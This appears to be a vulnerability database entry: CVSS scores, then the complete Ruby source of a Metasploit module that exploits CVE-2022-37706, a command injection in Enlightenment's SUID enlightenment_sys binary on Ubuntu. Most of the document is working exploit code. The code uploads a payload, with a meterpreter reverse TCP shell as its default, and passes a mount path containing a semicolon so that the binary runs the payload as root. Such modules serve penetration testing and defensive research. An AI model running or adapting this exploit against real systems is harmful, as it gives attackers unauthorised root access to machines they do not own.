CVSS3
Attack Vector
LOCAL
Attack Complexity
LOW
Privileges Required
LOW
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
AI Score
Confidence
High
EPSS
Percentile
34.3%
This Metasploit module exploits a command injection within Enlightenment’s enlightenment_sys binary. This is done by calling the mount command and feeding it paths which meet all of the system requirements, but execute a specific path as well due to a semi-colon being used. This module was tested on Ubuntu 22.04.1 X64 Desktop with enlightenment 0.25.3-1 (current at module write time).
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Local
Rank = GreatRanking
include Msf::Post::Linux::Priv
include Msf::Post::File
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Ubuntu Enlightenment Mount Priv Esc',
'Description' => %q{
This module exploits a command injection within Enlightenment's
enlightenment_sys binary. This is done by calling the mount
command and feeding it paths which meet all of the system
requirements, but execute a specific path as well due to a
semi-colon being used.
This module was tested on Ubuntu 22.04.1 X64 Desktop with
enlightenment 0.25.3-1 (current at module write time)
},
'License' => MSF_LICENSE,
'Author' => [
'h00die', # msf module
'Maher Azzouzi' # discovery, poc
],
'Platform' => [ 'linux' ],
'Arch' => [ ARCH_X86, ARCH_X64 ],
'SessionTypes' => [ 'shell', 'meterpreter' ],
'Targets' => [[ 'Auto', {} ]],
'Privileged' => true,
'References' => [
[ 'URL', 'https://github.com/MaherAzzouzi/CVE-2022-37706-LPE-exploit' ],
[ 'URL', 'https://twitter.com/maherazz2/status/1569665311707734023' ],
[ 'CVE', '2022-37706' ]
],
'DisclosureDate' => '2022-09-13',
'DefaultOptions' => {
'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp',
'PrependFork' => true, # so we can exploit multiple times
'WfsDelay' => 10
},
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [ARTIFACTS_ON_DISK]
}
)
)
register_advanced_options [
OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])
]
end
def base_dir
datastore['WritableDir'].to_s
end
def find_enlightenment_sys
enlightenment_sys = '/usr/lib/x86_64-linux-gnu/enlightenment/utils/enlightenment_sys'
if file_exist?(enlightenment_sys)
vprint_good("Found binary: #{enlightenment_sys}")
if setuid?(enlightenment_sys)
vprint_good("It's set for SUID")
# at this time there doesn't seem to be any other way to check if it'll be exploitable
# like a version number as a patch hasn't been released yet
return enlightenment_sys
else
return nil
end
else
vprint_status('Manually searching for exploitable binary')
# https://github.com/MaherAzzouzi/CVE-2022-37706-LPE-exploit/blob/main/exploit.sh#L7
binary = cmd_exec('find / -name enlightenment_sys -perm -4000 2>/dev/null | head -1')
vprint_good("Found SUID binary: #{enlightenment_sys}") unless binary.nil?
return binary
end
end
def check
enlightenment_sys = find_enlightenment_sys
return CheckCode::Safe('An exploitable enlightenment_sys was not found on the system') if enlightenment_sys.nil?
CheckCode::Appears
end
def exploit
# Check if we're already root
if is_root? && !datastore['ForceExploit']
fail_with Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override'
end
# Make sure we can write our exploit and payload to the local system
unless writable? base_dir
fail_with Failure::BadConfig, "#{base_dir} is not writable"
end
print_status('Finding enlightenment_sys')
enlightenment_sys = find_enlightenment_sys
if enlightenment_sys.nil?
fail_with Failure::NotFound, "#{base_dir} is not writable"
end
# Upload payload executable
payload_path = "#{base_dir}/.#{rand_text_alphanumeric(5..10)}"
upload_and_chmodx payload_path, generate_payload_exe
dev_path = "/dev/../tmp/;#{payload_path}"
register_files_for_cleanup(payload_path)
print_status('Creating folders for exploit')
cmd_exec('rm -rf /tmp/net; mkdir -p /tmp/net')
cmd_exec("mkdir -p \"#{dev_path}\"")
# Launch exploit with a timeout. We also have a vprint_status so if the user wants all the
# output from the exploit being run, they can optionally see it
enlightenment_sys = find_enlightenment_sys
print_status 'Launching exploit...'
cmd_exec("#{enlightenment_sys} /bin/mount -o noexec,nosuid,utf8,nodev,iocharset=utf8,utf8=0,utf8=1,uid=$(id -u), \"#{dev_path}\" /tmp///net", nil, datastore['WfsDelay'])
end
end